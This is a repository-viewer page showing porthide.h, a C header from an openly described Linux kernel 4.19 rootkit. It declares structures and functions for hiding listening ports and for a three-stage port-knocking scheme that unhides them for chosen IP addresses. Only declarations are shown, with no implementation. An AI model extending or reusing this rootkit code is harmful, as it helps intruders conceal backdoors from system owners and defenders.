linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

porthide.h (1555B)

      1 #ifndef _GROUP7_PORTHIDE_H
      2 #define _GROUP7_PORTHIDE_H
      3 
      4 #include "common.h"
      5 
      6 typedef struct knock_list *knock_list_t_ptr;
      7 typedef struct knock_list {
      8     ip_t ip;
      9     ip_version version;
     10     knock_list_t_ptr prev;
     11     knock_list_t_ptr next;
     12 } knock_list_t;
     13 
     14 extern knock_list_t ips_stage1;
     15 extern knock_list_t ips_stage2;
     16 extern knock_list_t ips_stage3;
     17 
     18 extern knock_list_t_ptr ips_stage1_tail;
     19 extern knock_list_t_ptr ips_stage2_tail;
     20 extern knock_list_t_ptr ips_stage3_tail;
     21 
     22 typedef unsigned lport_t;
     23 
     24 typedef struct lport_list *lport_list_t_ptr;
     25 typedef struct lport_list {
     26     lport_t lport;
     27     lport_list_t_ptr prev;
     28     lport_list_t_ptr next;
     29 } lport_list_t;
     30 
     31 extern lport_list_t hidden_lports;
     32 
     33 void clear_lport_knocks(lport_list_t_ptr);
     34 void clear_hidden_lports(void);
     35 
     36 void hide_lports(void);
     37 void unhide_lports(void);
     38 
     39 void hide_lport(lport_t);
     40 void unhide_lport(lport_t);
     41 
     42 bool stage1_knock(lport_t);
     43 bool stage2_knock(lport_t);
     44 bool stage3_knock(lport_t);
     45 
     46 bool list_contains_lport(lport_list_t_ptr, lport_t);
     47 lport_list_t_ptr find_lport_in_list(lport_list_t_ptr, lport_t);
     48 lport_list_t_ptr add_lport_to_list(lport_list_t_ptr, lport_t);
     49 lport_list_t_ptr remove_lport_from_list(lport_list_t_ptr, lport_t);
     50 
     51 bool list_contains_knock(knock_list_t_ptr, ip_t, ip_version);
     52 knock_list_t_ptr find_knock_in_list(knock_list_t_ptr, ip_t, ip_version);
     53 knock_list_t_ptr add_knock_to_list(knock_list_t_ptr *, ip_t, ip_version);
     54 knock_list_t_ptr remove_knock_from_list(knock_list_t_ptr, knock_list_t_ptr *, ip_t, ip_version);
     55 
     56 #endif //_GROUP7_PORTHIDE_H